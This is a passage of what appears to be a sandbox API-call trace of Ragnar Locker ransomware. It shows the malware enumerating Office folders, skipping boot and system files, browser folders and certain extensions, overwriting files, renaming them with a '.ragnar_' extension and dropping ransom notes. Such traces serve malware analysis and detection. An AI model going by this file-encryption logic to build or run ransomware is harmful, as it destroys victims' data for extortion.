nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.399] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.399] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.399] GetProcessHeap () returned 0x580000 [0061.399] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.399] CloseHandle (hObject=0x108) returned 1 [0061.400] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" [0061.400] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.ragnar_FD7BD9FC" [0061.400] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.401] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0061.401] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.401] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="AccessMUISet.XML" | out: lpString1="AccessMUISet.XML") returned="AccessMUISet.XML" [0061.401] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned=".XML" [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="autorun.inf") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="boot.ini") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="bootfont.bin") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="bootsect.bak") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="bootmgr") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="bootmgr.efi") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="bootmgfw.efi") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="desktop.ini") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="iconcache.db") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="ntldr") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="ntuser.dat") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="ntuser.dat.log") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="ntuser.ini") returned -1 [0061.401] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="thumbs.db") returned -1 [0061.401] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.401] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.401] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.401] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.401] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.401] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.401] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0061.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0061.402] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=819) returned 1 [0061.402] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x32a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.402] GetProcessHeap () returned 0x580000 [0061.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.402] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.409] VirtualAlloc (lpAddress=0x0, dwSize=0x333, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.409] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.409] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.409] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x333, lpOverlapped=0x0) returned 1 [0061.410] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.410] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x333, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.410] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x333, lpOverlapped=0x0) returned 1 [0061.410] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x333, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.410] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.410] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x333, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.410] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.410] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.410] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.410] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.410] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.410] GetProcessHeap () returned 0x580000 [0061.410] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.410] CloseHandle (hObject=0x108) returned 1 [0061.411] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" [0061.411] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.ragnar_FD7BD9FC" [0061.411] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.412] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76d4e0e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76d4e0e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0061.412] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.412] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0061.412] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0061.412] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0061.412] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0061.412] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.412] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0061.412] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned=".XML" [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0061.412] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0061.413] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0061.413] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.413] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.413] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.413] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.413] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.413] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.413] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0061.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0061.414] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=2624) returned 1 [0061.414] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xa37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.414] GetProcessHeap () returned 0x580000 [0061.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.414] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.415] VirtualAlloc (lpAddress=0x0, dwSize=0xa40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.415] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.416] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.416] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0xa40, lpOverlapped=0x0) returned 1 [0061.416] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.416] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa40, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.416] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0xa40, lpOverlapped=0x0) returned 1 [0061.416] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.416] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.416] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xa40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.416] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.416] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.416] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.416] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.417] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.417] GetProcessHeap () returned 0x580000 [0061.417] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.417] CloseHandle (hObject=0x108) returned 1 [0061.417] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" [0061.417] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0061.417] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.418] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0061.418] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0061.418] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2=".") returned 1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="..") returned 1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="Windows") returned -1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="Windows.old") returned -1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="Tor browser") returned -1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="Internet Explorer") returned -1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="Google") returned -1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="Opera") returned -1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="Opera Software") returned -1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="Mozilla") returned -1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="Mozilla Firefox") returned -1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="$Recycle.Bin") returned 1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="ProgramData") returned -1 [0061.418] lstrcmpiW (lpString1="Excel.en-us", lpString2="All Users") returned 1 [0061.419] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0061.419] lstrcpyW (in: lpString1=0x1eab90, lpString2="Excel.en-us" | out: lpString1="Excel.en-us") returned="Excel.en-us" [0061.419] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\" [0061.419] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\" [0061.419] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\RGNR_FD7BD9FC.txt" [0061.419] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0061.462] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*") returned="\\\\?\\C:\\Program 